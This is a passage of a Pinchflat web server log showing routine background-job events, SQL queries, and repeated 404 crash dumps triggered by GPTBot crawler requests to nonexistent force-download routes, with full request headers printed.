~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264135.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102835/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 56852}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/media/102835/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264135.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/media/102835/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 56852}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYbjhvNDVXLTlFREVUeG92WXBEb09HTGdJ.N6kY104NUrRvnekouf-40F6xtaPDdlXmyMnsg8UJbAs", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "ade (truncated) 02:53:31.630 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.783 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:01.632 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:25.435 [info] GET /sources/1/media/89338 02:54:25.436 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89338", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:54:25.437 [debug] QUERY OK source="media_items" db=0.4ms idle=777.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89338] 02:54:25.437 [debug] QUERY OK source="tasks" db=0.4ms idle=778.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89338] 02:54:25.438 [debug] QUERY OK source="sources" db=0.5ms idle=778.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:54:25.439 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=779.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2379, 2461, 2551] 02:54:25.441 [debug] QUERY OK source="settings" db=0.2ms idle=12.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:25.441 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:25.442 [debug] QUERY OK source="settings" db=0.3ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:25.444 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:54:25.447 [info] Sent 200 in 12ms 02:54:31.634 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.784 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:01.636 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:30.007 [info] GET /sources/1/media/89342/force_download 02:55:30.008 [debug] QUERY OK source="settings" db=0.3ms idle=1348.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:55:30.009 [debug] QUERY OK source="settings" db=0.4ms idle=1349.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:55:30.009 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:55:30.010 [error] #PID<0.264154.0> running PinchflatWeb.Endpoint (connection #PID<0.264153.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89342/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89342/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264153.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89342/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47418}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264154.0>, params: %{}, path_info: ["sources", "1", "media", "89342", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89342/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMXsDRMwvW-1kAJ_kB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264153.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89342/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47418}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89342/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264153.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89342/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47418}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a9 (truncated) 02:55:31.637 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.785 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:01.639 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:27.893 [info] GET /sources/1/media/89337/force_download 02:56:27.894 [debug] QUERY OK source="settings" db=0.4ms idle=1234.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:27.895 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1235.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:27.895 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:56:27.895 [error] #PID<0.264161.0> running PinchflatWeb.Endpoint (connection #PID<0.264160.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89337/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89337/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264160.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89337/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 34952}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264161.0>, params: %{}, path_info: ["sources", "1", "media", "89337", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/media/89337/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEMbDsXeonCzusAMYWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264160.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89337/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 34952}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89337/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264160.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89337/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 34952}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a9 (truncated) 02:56:31.642 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.786 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:01.644 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:29.600 [info] GET /sources/1/media/89341/force_download 02:57:29.601 [debug] QUERY OK source="settings" db=0.3ms idle=942.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:29.602 [debug] QUERY OK source="settings" db=0.2ms idle=942.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:57:29.602 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:57:29.602 [error] #PID<0.264169.0> running PinchflatWeb.Endpoint (connection #PID<0.264168.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/89341/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/89341/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.264168.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/89341/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 46614}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.264169.0>, params: %{}, path_info: ["sources", "1", "media", "89341", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQW1Lak9tbVlaWjUtVlA0bU51SGcyaklq.hdgVcCDxqJqVc4z08rTUJd71FQxSgYFNte7hBcZ9V3Y"}, {"from", 